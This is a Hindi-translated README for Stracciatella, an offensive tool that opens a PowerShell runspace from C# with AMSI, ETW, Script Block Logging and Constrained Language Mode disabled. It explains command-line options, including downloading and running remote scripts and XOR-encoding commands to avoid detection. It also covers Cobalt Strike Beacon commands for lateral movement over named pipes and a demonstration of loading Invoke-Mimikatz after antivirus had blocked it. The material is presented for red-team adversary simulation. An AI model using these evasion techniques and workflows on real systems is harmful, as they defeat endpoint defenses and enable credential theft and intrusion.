
OpSec-सुरक्षित C# के अंदर से Powershell रनस्पेस (उर्फ SharpPick) जिसमें AMSI, Constrained Language Mode और Script Block Logging स्टार्टअप पर अक्षम होते हैं
C# के अंदर से पावरशेल रनस्पेस (जिसे SharpPick तकनीक भी कहा जाता है) जिसमें AMSI, ETW और स्क्रिप्ट ब्लॉक लॉगिंग को आपकी सुविधा के लिए अक्षम किया गया है।
आजकल, जब पावरशेल को निम्नलिखित तकनीकों के उपयोग से बुरी तरह से इंस्ट्रुमेंट किया गया है:
उन्नत हमलावरों को इन प्रयासों को दरकिनार करने के लिए रास्ते खोजने होंगे ताकि वे परिष्कृत प्रतिकूल सिमुलेशन अभ्यास कर सकें। इन प्रयासों में मदद करने के लिए, निम्नलिखित परियोजना बनाई गई।
यह प्रोग्राम निम्नलिखित में शामिल विशिष्ट तकनीकों के बाईपास पर आधारित है:
जो बदले में निम्नलिखित शोधों पर आधारित थे:
SharpPick का विचार, यानी C# असेंबली के भीतर से Runspaces का उपयोग करके पावरशेल स्क्रिप्ट लॉन्च करना, भी नया नहीं है और इसे सबसे पहले Lee Christensen (@tifkin_) ने अपने:
में लागू किया था।
साथ ही, स्रोत कोड Lee से CustomPSHost का कार्यान्वयन उधार लेता है।
यह परियोजना उपरोक्त शोधों और महान सुरक्षा समुदाय से विरासत में मिली है ताकि स्टार्टअप पर सुरक्षा अक्षम होने के साथ एक करीबी-से-प्रभावी पावरशेल वातावरण प्रदान किया जा सके।
अब .NET 4.0 के साथ आसानी से कंपाइल होता है, जबकि यदि .NET Framework 4.7.1+ के साथ संकलित किया जाता है तो एक अतिरिक्त कार्यक्षमता शामिल है जो CLM बाईपास कलाकृतियों का गठन करने वाली DLL को अनलोड करने की अनुमति देती है और बाद में उन्हें हटाने का प्रयास करती है (ईमानदारी से कहें तो मुश्किल से काम करता है)।
सबसे अच्छा माइलेज .NET 4.0 के साथ संकलित Stracciatella के साथ मिलता है।
कुछ विकल्प उपलब्ध हैं:
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Usage: stracciatella.exe [options] [command]
-s <path>, --script <path> - निष्पादित करने के लिए पावरशेल स्क्रिप्ट वाली फ़ाइल का पथ। यदि कोई विकल्प नहीं दिया गया है, तो एक स्यूडो-शेल लूप में प्रवेश करेगा। यह पावरशेल स्क्रिप्ट डाउनलोड और निष्पादित करने के लिए एक HTTP(S) URL भी हो सकता है।
-v, --verbose - विस्तृत जानकारी प्रिंट करता है
-n, --nocleanup - CLM अक्षम करने वाले अवशेषों (TEMP में DLL फ़ाइलें और COM रजिस्ट्री कुंजियाँ) को न हटाएँ। डिफ़ॉल्ट रूप से ये हमेशा हटा दिए जाएंगे।
-C, --leaveclm - CLM को अक्षम करने का प्रयास न करें। अधिक गुप्त। CLM अक्षम करने वाली कलाकृतियों को न हटाए जाने से बचेगा।
-f, --force - भले ही पावरशेल सुरक्षा अक्षम न हुई हो, निष्पादन जारी रखें। डिफ़ॉल्ट रूप से हम विफलता पर बाहर निकल जाते हैं।
-c, --command - निर्दिष्ट कमांड निष्पादित करता है। आप या तो -c का उपयोग कर सकते हैं या स्ट्रैकियाटेला मापदंडों के बाद कमांड जोड़ सकते हैं: cmd> straciatella ipconfig /all
यदि कमांड और स्क्रिप्ट पैरामीटर दिए गए हैं, तो स्क्रिप्ट चलाने के बाद कमांड निष्पादित करता है।
-x <key>, --xor <key> - इनपुट को XOR एन्कोडेड मानें, जहां <key> दशमलव में एक बाइट कुंजी है (हेक्स के लिए 0x के साथ उपसर्ग करें)
-p <name>, --pipe <name> - एक निर्दिष्ट नामित पाइप से पावरशेल कमांड पढ़ें। कमांड से पहले लिटिल-एंडियन में उसकी लंबाई के 4 बाइट होने चाहिए (लंबाई-मान संकेतन)।
-t <millisecs>, --timeout <millisecs>
- पाइप पढ़ने के संचालन के लिए टाइमआउट निर्दिष्ट करता है (मिलीसेकंड में)। डिफ़ॉल्ट: 60 सेकंड। 0 - अनंत।
-e, --cmdalsoencoded - इनपुट कमांड ('--command' में निर्दिष्ट) को भी एन्कोडेड मानें। इनपुट स्क्रिप्ट फ़ाइल को डीकोड करने और चलाने के बाद इनपुट कमांड को डीकोड करता है।
डिफ़ॉल्ट रूप से हम केवल इनपुट फ़ाइल को डीकोड करते हैं और कमांड को सादे पाठ में दिया गया मानते हैं
प्रोग्राम अपने इनपुट के रूप में कमांड और स्क्रिप्ट फ़ाइल पथ स्वीकार करता है। दोनों वैकल्पिक हैं, यदि कोई नहीं दिया गया तो स्यूडो-शेल शुरू हो जाएगा। बेहतर OpSec अनुभव के लिए दोनों कमांड और स्क्रिप्ट को सिंगल-बाइट XOR (जो बेस64 एन्कोडेड आउटपुट उत्पन्न करेगा) का उपयोग करके एन्कोड किया जा सकता है।
यहाँ उपयोग के मामलों को प्रस्तुत करने वाले कुछ उदाहरण हैं:
PS D:\> Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Powershell का संस्करण: 5.1
[.] भाषा मोड: FullLanguage
[+] प्रतिबंधित भाषा मोड को अक्षम करने की आवश्यकता नहीं है। पहले से ही FullLanguage में।
[+] स्क्रिप्ट ब्लॉक लॉगिंग अक्षम।
[+] AMSI अक्षम।
[+] ETW अक्षम।
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
सबसे पहले, एन्कोडेड स्टेटमेंट तैयार करने के लिए हम बंडल encoder.py स्क्रिप्ट का उपयोग कर सकते हैं, जिसका उपयोग इस प्रकार किया जा सकता है:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command एन्कोडिंग के लिए एक कमांड या स्क्रिप्ट फ़ाइल का पथ निर्दिष्ट करता है
optional arguments:
-h, --help यह सहायता संदेश दिखाएँ और बाहर निकलें
-x KEY, --xor KEY कमांड/फ़ाइल XOR एन्कोड कुंजी निर्दिष्ट करता है (एक बाइट)
-o PATH, --output PATH
(वैकल्पिक) आउटपुट फ़ाइल। यदि नहीं दिया गया, तो stdout पर आउटपुट प्रतिध्वनित होगा
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
फिर हम encoder.py आउटपुट को Stracciatella के लिए एन्कोडेड कमांड के रूप में इनपुट देते हैं:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] स्क्रिप्ट फ़ाइल लोड होगी: '.\Test2.ps1'
[+] AMSI अक्षम।
[+] ETW अक्षम।
[+] स्क्रिप्ट ब्लॉक लॉगिंग अक्षम।
[.] भाषा मोड: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
जबकि:
Command निम्नलिखित कमांड से बना था: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - में शामिल था: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella एक Aggressor स्क्रिप्ट के साथ आता है, जिसे लोड करने पर Beacon कंसोल में stracciatella कमांड उजागर होता है। उपयोग powerpick के समान है (पहले stracciatella-import के माध्यम से पावरशेल स्क्रिप्ट आयात करके)। इनपुट पैरामीटर को एक यादृच्छिक कुंजी के साथ xor किया जाएगा और यादृच्छिक रूप से नामित पाइप के माध्यम से Stracciatella के runspace पर भेजा जाएगा।
निम्नलिखित Cobalt Strike कमांड उपलब्ध हैं:
Stracciatella के साथ काम करने की एक रणनीति एक लंबा पर्याप्त पाइप रीड टाइमआउट कॉन्फ़िगर करना (1), इसे एक दूरस्थ मशीन पर लॉन्च करना (2) हो सकती है, इस प्रकार स्ट्रैकियाटेला की थोड़ी मदद से नामित पाइप पर पार्श्व आंदोलन का विकल्प हो सकता है।
powerpick पर लाभ यह है कि Stracciatella AMSI.dll को उस तरह से पैच नहीं करता है जैसे Powerpick करता है (AmsiScanBuffer पैच), इस प्रकार संभावित रूप से EDR द्वारा देखे जाने वाले इन-मेमोरी पैच के रूप में कम फोरेंसिक शोर उत्पन्न करता है। साथ ही, Stracciatella अंततः प्रतिबंधित भाषा मोड को स्थिर रूप से बायपास करने में सक्षम होगा जो वर्तमान में powerpick का उपयोग करके संभव नहीं है:
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
अंत में, Stracciatella का उपयोग कुछ अन्य टूल्स/C2 द्वारा आसानी से किया जा सकता है जो पावरशेल सुरक्षाओं से बचने के लिए कोई कार्यक्षमता प्रदान नहीं करते हैं।
जब भी stracciatella त्रुटि 2 (ERROR_FILE_NOT_FOUND) लौटाता है, ऐसा इसलिए है क्योंकि Stracciatella ने अपने नामित पाइप पर डेटा लिखे जाने की प्रतीक्षा करते समय टाइमआउट कर दिया।
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
हालाँकि, इसे Stracciatella के टाइमआउट पैरामीटर को समायोजित करके ठीक किया जा सकता है:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
संबद्ध aggressor स्क्रिप्ट आंतरिक Beacon रूटीन का उपयोग करके यादृच्छिक रूप से नामित पाइप पर लिखती है, जिसे दूसरे छोर पर Stracciatella के तर्क द्वारा सुना जाएगा। प्राप्त करने वाला अंत कुछ समय के लिए इनबाउंड डेटा की प्रतीक्षा करेगा (Stracciatella के विकल्पों में --timeout पैरामीटर, डिफ़ॉल्ट 60 सेकंड) और यदि डेटा नहीं आता है तो टाइमआउट होकर धीरे से रद्द हो जाएगा। अन्यथा, प्राप्त कमांड को डीकोड किया जाएगा और हमेशा की तरह निष्पादित किया जाएगा।
कभी-कभी हमारे पास पावरशेल स्क्रिप्ट होती हैं जो कोई फ़ंक्शन प्रदर्शित नहीं करती हैं या प्रतिबिंबित रूप से .NET मॉड्यूल लोड नहीं करती हैं जिन्हें हम पावरशेल रनटाइम से आमंत्रित करना चाहते हैं। उस उपयोग के मामले को सुविधाजनक बनाने के लिए, stracciatella-script <scriptpath> <command Beacon कमांड का उपयोग किया जा सकता है। यह निर्दिष्ट पावरशेल स्क्रिप्ट फ़ाइल को पढ़ता है और उस स्क्रिप्ट में अर्धविराम से अलग किए गए दिए गए <command> को जोड़ता है।
Stracciatella की Aggressor स्क्रिप्ट (CNA) पता लगाती है कि क्या BOF.NET लोड है, और यदि हाँ, तो एक कमांड उजागर करता है:
bofnet_loadstracciatella
जो bofnet_load stracciatella.exe जारी करता है। इसके अतिरिक्त, Stracciatella तब Cobalt के अंतर्निहित execute-assembly के बजाय bofnet_jobassembly के माध्यम से चलेगा।
यह व्यवहार stracciatella.cna स्क्रिप्ट में वैश्विक चर को समायोजित करके बदला जा सकता है:
#
# यदि कोबाल्ट स्ट्राइक में BOF.NET लोड है, तो `execute-assembly` के बजाय `bofnet_jobassembly` कमांड को प्राथमिकता दें।
# यह तब उपयोगी होता है जब हम अपनी रणनीति को fork & run के बजाय BOF.NET के माध्यम से इनलाइन/इन-प्रोसेस चलाने में बदलना चाहते हैं।
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
रिफ्लेक्शन के उपयोग से, जैसा कि Matt Graeber ने खोजा था, लेकिन उस कार्यक्रम के दृष्टिकोण को थोड़ा संशोधित किया गया था। "amsiInitFailed" जैसे प्रतीकों को उनके नाम से संदर्भित करने के बजाय, हम प्रत्येक असेंबली, विधि, प्रकार और फ़ील्ड के माध्यम से देखते हैं जो प्रतिबिंबित रूप से लाए जा सकते हैं। फिर हम Management.Automation असेंबली में NonPublic और Static चरों में हेरफेर करके AMSI को अक्षम करते हैं। यही बात स्क्रिप्ट ब्लॉक लॉगिंग के लिए भी है, जबकि इस उदाहरण में कुछ विचार Ryan Cobb (@cobbr) के शोध पर आधारित थे।
वास्तव में, Stracciatella उसी कार्यान्वयन का उपयोग करता है जो पहले से ही मेरी ऊपर उल्लिखित Disable-*.ps1 फ़ाइलों में शामिल है।
साथ ही, हम amsi.dll को पैच करने का प्रयास नहीं करते हैं, यह थोड़ा बहुत शोरगुल वाला है और निकट भविष्य में EDR/HIPS/AV द्वारा बारीकी से निगरानी की जा सकती है। सिस्टम लाइब्रेरी की अखंडता को भ्रष्ट करना निश्चित रूप से प्रतिबिंबात्मक चरों को गड़बड़ाने की तुलना में आधार खो देता है।
Invoke-Mimikatz दिखाओ, क्या तुम दिखाओगे?बिल्कुल, यह लो:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
वर्तमान में, जिस तरह से Stracciatella पावरशेल कमांड के लिए runspace प्रदान करता है, वह सबसे गुप्त नहीं है। हम मूल रूप से एक पावरशेल runspace बनाते हैं, जो संबंधित .NET असेंबली लोड करता है। इसे एक संकेत माना जा सकता है कि stracciatella की प्रक्रिया कुछ हद तक संदिग्ध है।
यह और अन्य परियोजनाएँ नींद हराम रातों और बहुत सारी कड़ी मेहनत का परिणाम हैं। यदि आपको मेरा काम पसंद है और आप सराहना करते हैं कि मैं हमेशा समुदाय को वापस देता हूँ, मेरे लिए एक कॉफी खरीदने पर विचार करें (या बेहतर एक बियर) बस धन्यवाद कहने के लिए! 💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Cobalt Strike कमांड | विवरण |
|---|
stracciatella [-v] <command> | दिए गए कमांड निष्पादित करता है |
stracciatella-remote [-v] <machine> <pipename> <command> | एक दूरस्थ मशीन पर निर्दिष्ट पाइप पर दिए गए कमांड निष्पादित करता है |
stracciatella-import <scriptpath> | Stracciatella के साथ उपयोग के लिए एक पावरशेल स्क्रिप्ट आयात करता है |
stracciatella-script <scriptpath> <command> | एक निर्दिष्ट पावरशेल (ps1) स्क्रिप्ट के साथ पावरशेल कमांड को प्रीलोड करता है (एकल ऑपरेशन में stracciatella-import और stracciatella का संयोजन) |
stracciatella-clear | उस Beacon पर आयातित स्क्रिप्ट साफ़ करता है |
stracciatella-timeout <milliseconds> | डिफ़ॉल्ट नामित पाइप रीड टाइमआउट समायोजित करता है |
bofnet_loadstracciatella | Stracciatella.exe को BOF.NET में लोड करता है (यदि कोई उपयोग किया जाता है) |
bofnet_stracciatella <command> | (गैर-अवरुद्ध) BOF.NET bofnet_jobassembly के माध्यम से एक सुरक्षित Stracciatella runspace में पावरशेल कमांड चलाता है |
bofnet_executestracciatella <command> | (अवरुद्ध) BOF.NET bofnet_executeassembly के माध्यम से एक सुरक्षित Stracciatella runspace में पावरशेल कमांड चलाता है |
bofnet_stracciatella_script <scriptpath> <command> | एक निर्दिष्ट पावरशेल स्क्रिप्ट प्रीलोड करता है और पैरामीटर के साथ दिए गए कमांड को लॉन्च करता है (BOF.NET के माध्यम से) |